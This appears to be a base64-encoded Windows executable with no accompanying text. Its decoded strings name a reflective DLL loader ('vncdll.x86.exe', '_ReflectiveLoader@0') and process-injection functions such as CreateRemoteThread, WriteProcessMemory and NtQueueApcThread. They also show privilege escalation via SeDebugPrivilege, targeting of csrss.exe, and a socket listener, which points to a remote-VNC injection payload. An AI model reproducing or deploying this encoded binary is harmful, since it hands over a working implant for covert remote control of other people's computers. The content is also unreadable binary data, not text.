AHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByADoAIAAlAGwAZAAKAAAAAABzAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgA6ACAAJQBsAGQACgAAAAAAMC4wLjAuMABiAGkAbgBkACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByADoAIAAlAGwAZAAKAAAAAABsAGkAcwB0AGUAbgAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgA6ACAAJQBsAGQACgAAAAAAAAAAAFcAYQBpAHQAaQBuAGcAIABmAG8AcgAgAGMAbABpAGUAbgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAAuAC4ALgAKAAAAYQBjAGMAZQBwAHQAIABmAGEAaQBsAGUAZAAgAHcAaQB0AGgAIABlAHIAcgBvAHIAOgAgACUAbABkAAoAAAAAAEMAbABpAGUAbgB0ACAAYwBvAG4AbgBlAGMAdABlAGQALgAKAAAAAAAA0gQAAQAAAG50ZGxsAAAATnRRdWV1ZUFwY1RocmVhZAAAAABrZXJuZWwzMi5kbGwAAAAASXNXb3c2NFByb2Nlc3MAAEdldE5hdGl2ZVN5c3RlbUluZm8AUHJvY2Vzc0lkVG9TZXNzaW9uSWQAAAAAV1RTR2V0QWN0aXZlQ29uc29sZVNlc3Npb25JZAAAAABTZURlYnVnUHJpdmlsZWdlAAAAAGtlcm5lbDMyAAAAAENyZWF0ZVRvb2xoZWxwMzJTbmFwc2hvdAAAAABQcm9jZXNzMzJGaXJzdAAAUHJvY2VzczMyTmV4dAAAAGNzcnNzLmV4ZQAAAAAAAABIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAYkEAMFJBAAMAAACQagAAILQAAGDpAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOD///8AAAAArP7//wAAAAD+////EhZAABgWQAAAAAAA/v///wAAAACo////AAAAAP7////XH0AA3R9AAAAAAAD+////AAAAANT///8AAAAA/v///wAAAADQNkAAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAJQ3QAAAAAAA/v///wAAAADM////AAAAAP7////bOkAA7zpAAAAAAAD+////AAAAAMT///8AAAAA/v///wAAAABPUkAAAAAAAP7///8AAAAA0P///wAAAAD+////AAAAAIpVQAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAKVZAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAC9V0AAAAAAAAAAAACHV0AA/v///wAAAADY////AAAAAP7///8AAAAA9FhAAAAAAAD+////AAAAANj///8AAAAA/v///wAAAADWckAA/v///wAAAADickAA/v///wAAAADY////AAAAAP7///8AAAAAEHRAAP7///8AAAAAH3RAAP7///8AAAAAfP///wAAAAD+////AAAAAGZ3QAAAAAAA/v///wAAAADQ////AAAAAP7///8AAAAAaX5AAAAAAAD+////AAAAAMj///8AAAAA/v///wAAAADHh0AAAAAAAP7///8AAAAA1P///wAAAAD+////AAAAAD6YQAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA5ptAAAAAAAD+////AAAAAND///8AAAAA/v///wAAAABhnUAAAAAAAP7///8AAAAA2P///wAAAAD+////OaNAAEyjQAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAAC6RAAAAAAAD+////AAAAANj///8AAAAA/v///wGlQAAFpUAAAAAAAP7///8AAAAAvP///wAAAAD+////AAAAANSmQAAAAAAA/v///wAAAADU////AAAAAP7///8AAAAA6KtAAAAAAAD+////AAAAAMz///8AAAAA/v///wAAAAC4rEAAAAAAAP7///8AAAAA2P///wAAAAD+////AAAAAH2wQAAAAAAA/v///wAAAADY////AAAAAP7///8AAAAA8bZAAAAAAAD+////AAAAAND///8AAAAA/v///wAAAACxyUAAAAAAAP7///8AAAAA2P///wAAAAD+////4QdBAP0HQQAAAAAAAAAAAAAAAAAAAAAA3hebWAAAAAAiVgEAAQAAAAEAAAABAAAAGFYBABxWAQAgVgEAkBYAADFWAQAAAHZuY2RsbC54ODYuZXhlAF9SZWZsZWN0aXZlTG9hZGVyQDAAAAAAwFYBAAAAAAAAAAAA0FgBAAAQAQBIWAEAAAAAAAAAAAA2WQEAiBEBAEBYAQAAAAAAAAAAAFZZAQCAEQEA0FYBAAAAAAAAAAAABFwBABAQAQA4WAEAAAAAAAAAAAAoXAEAeBEBAAAAAAAAAAAAAAAAAAAAAAAAAAAAoFgBALhYAQCMWAEAAAAAAMxfAQDAXwEArl8BAJ5fAQCOXwEAgl8BAHRfAQBgXwEASl8BADhfAQAsXwEAYlkBAHhZAQCMWQEAnlkBALRZAQDEWQEA2FkBAOhZAQDwWQEA/FkBABJaAQAiWgEANloBAERaAQBYWgEAbloBAIRaAQCWWgEAqloBAMBaAQDQWgEA3loBAPhaAQAIWwEAGlsBACpbAQBAWwEATFsBAFxbAQBqWwEAeFsBAIhbAQCYWwEAqlsBALpbAQDIWwEA5FsBAPRbAQAgXwEAFl8BADRcAQBAXAEATFwBAGRcAQB8XAEAkFwBAKxcAQC+XAEAzlwBAN5cAQDwXAEA/lwBABRdAQAkXQEAMF0BAEZdAQBeXQEAel0BAJhdAQDAXQEA1F0BAOBdAQDuXQEA/F0BAAZeAQAYXgEALF4BAEJeAQBQXgEAZl4BAIBeAQCaXgEAtF4BAM5eAQDeXgEA8F4BAARfAQDcXwEAAAAAABJcAQAAAAAAQlkBAAAAAAAEAACACwAAgBJZAQBvAACAcwAAgCBZAQAAWQEAdAAAgAIAAIAXAACA8FgBAN5YAQADAACADQAAgAEAAIAJAACAAAAAAPcBT3BlblByb2Nlc3NUb2tlbgAAlgFMb29rdXBQcml2aWxlZ2VWYWx1ZUEAHwBBZGp1c3RUb2tlblByaXZpbGVnZXMAQURWQVBJMzIuZGxsAAAgAFdTQUNyZWF0ZUV2ZW50AACIAGZyZWVhZGRyaW5mbwAAKgBXU0FFdmVudFNlbGVjdAAAiQBnZXRhZGRyaW5mbwAhAFdTQUR1cGxpY2F0ZVNvY2tldEEAV1MyXzMyLmRsbAAAJgNXYWl0Rm9ySW5wdXRJZGxlAABVU0VSMzIuZGxsAACpAENyZWF0ZVJlbW90ZVRocmVhZAAA8ARWaXJ0dWFsUHJvdGVjdEV4AADqBFZpcnR1YWxBbGxvY0V4AAAuBVdyaXRlUHJvY2Vzc01lbW9yeQAAjQNQZWVrTmFtZWRQaXBlAGUAQ29ubmVjdE5hbWVkUGlwZQAAkwJHZXRUaWNrQ291bnQAALIEU2xlZXAAwANSZWFkRmlsZQAA4QBEaXNjb25uZWN0TmFtZWRQaXBlAAICR2V0TGFzdEVycm9yAACfAENyZWF0ZU5hbWVkUGlwZUEAAFIAQ2xvc2VIYW5kbGUAwAFHZXRDdXJyZW50UHJvY2VzcwD5BFdhaXRGb3JTaW5nbGVPYmplY3QAEQVXaWRlQ2hhclRvTXVsdGlCeXRlAMEEVGVybWluYXRlVGhyZWFkAMMDUmVhZFByb2Nlc3NNZW1vcnkAZwNNdWx0aUJ5dGVUb1dpZGVDaGFyAHMEU2V0TGFzdEVycm9yAABEA0xvY2FsQWxsb2MAAPcEV2FpdEZvck11bHRpcGxlT2JqZWN0cwAAmwBDcmVhdGVNdXRleEEAAOgARHVwbGljYXRlSGFuZGxlAPoDUmVsZWFzZU11dGV4AADBAUdldEN1cnJlbnRQcm9jZXNzSWQASANMb2NhbEZyZWUAtQBDcmVhdGVUaHJlYWQAAGIBRnJlZUxpYnJhcnkAgANPcGVuUHJvY2VzcwDDBFRocmVhZDMyRmlyc3QAxARUaHJlYWQzMk5leHQAAEUCR2V0UHJvY0FkZHJlc3MAADwDTG9hZExpYnJhcnlBAACFA09wZW5UaHJlYWQAAL4AQ3JlYXRlVG9vbGhlbHAzMlNuYXBzaG90AAC6BFN1c3BlbmRUaHJlYWQAEwRSZXN1bWVUaHJlYWQAAEtFUk5FTDMyLmRsbAAABgBDb21tYW5kTGluZVRvQXJndlcAAFNIRUxMMzIuZGxsAM8CSGVhcEZyZWUAAMsCSGVhcEFsbG9jAO4ARW50ZXJDcml0aWNhbFNlY3Rpb24AADkDTGVhdmVDcml0aWNhbFNlY3Rpb24AAAADSXNEZWJ1Z2dlclByZXNlbnQABANJc1Byb2Nlc3NvckZlYXR1cmVQcmVzZW50AIYBR2V0Q29tbWFuZExpbmVBAOoARW5jb2RlUG9pbnRlcgDKAERlY29kZVBvaW50ZXIASgJHZXRQcm9jZXNzSGVhcAAAGQFFeGl0UHJvY2VzcwAXAkdldE1vZHVsZUhhbmRsZUV4VwAAZAJHZXRTdGRIYW5kbGUAACUFV3JpdGVGaWxlABQCR2V0TW9kdWxlRmlsZU5hbWVXAADRAERlbGV0ZUNyaXRpY2FsU2VjdGlvbgDTBFVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAApQRTZXRVbmhhbmRsZWRFeGNlcHRpb25GaWx0ZXIA4wJJbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQW5kU3BpbkNvdW50AMAEVGVybWluYXRlUHJvY2VzcwAAxQRUbHNBbGxvYwAAxwRUbHNHZXRWYWx1ZQDIBFRsc1NldFZhbHVlAMYEVGxzRnJlZQBjAkdldFN0YXJ0dXBJbmZvVwAYAkdldE1vZHVsZUhhbmRsZVcAAMUBR2V0Q3VycmVudFRocmVhZElkAADzAUdldEZpbGVUeXBlABMCR2V0TW9kdWxlRmlsZU5hbWVBAACnA1F1ZXJ5UGVyZm9ybWFuY2VDb3VudGVyAHkCR2V0U3lzdGVtVGltZUFzRmlsZVRpbWUA2gFHZXRFbnZpcm9ubWVudFN0cmluZ3NXAABhAUZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAJoBR2V0Q29uc29sZUNQAACsAUdldENvbnNvbGVNb2RlAABnBFNldEZpbGVQb2ludGVyRXgAAAoDSXNWYWxpZENvZGVQYWdlAGgBR2V0QUNQAAA3AkdldE9FTUNQAAByAUdldENQSW5mbwA+A0xvYWRMaWJyYXJ5RXhXAACKA091dHB1dERlYnVnU3RyaW5nVwAAVwFGbHVzaEZpbGVCdWZmZXJzAADSAkhlYXBSZUFsbG9jABgEUnRsVW53aW5kAIcEU2V0U3RkSGFuZGxlAAAkBVdyaXRlQ29uc29sZVcAaQJHZXRTdHJpbmdUeXBlVwAA1AJIZWFwU2l6ZQAALQNMQ01hcFN0cmluZ1cAAI8AQ3JlYXRlRmlsZVcAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAOBWRgAAAAAA4FZGAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABO5kC7sRm/RAEAAAAAAAAAGBJBACASQQABAAAAFgAAAAIAAAACAAAAAwAAAAIAAAAEAAAAGAAAAAUAAAANAAAABgAAAAkAAAAHAAAADAAAAAgAAAAMAAAACQAAAAwAAAAKAAAABwAAAAsAAAAIAAAADAAAABYAAAANAAAAFgAAAA8AAAACAAAAEAAAAA0AAAARAAAAEgAAABIAAAACAAAAIQAAAA0AAAA1AAAAAgAAAEEAAAANAAAAQwAAAAIAAABQAAAAEQAAAFIAAAANAAAAUwAAAA0AAABXAAAAFgAAAFkAAAALAAAAbAAAAA0AAABtAAAAIAAAAHAAAAAcAAAAcgAAAAkAAAAGAAAAFgAAAIAAAAAKAAAAgQAAAAoAAACCAAAACQAAAIMAAAAWAAAAhAAAAA0AAACRAAAAKQAAAJ4AAAANAAAAoQAAAAIAAACkAAAACwAAAKcAAAANAAAAtwAAABEAAADOAAAAAgAAANcAAAALAAAAGAcAAAwAAAAMAAAACAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAABAAAAAAAAAAEAAAAAAAAAAQAAAAAAAAAA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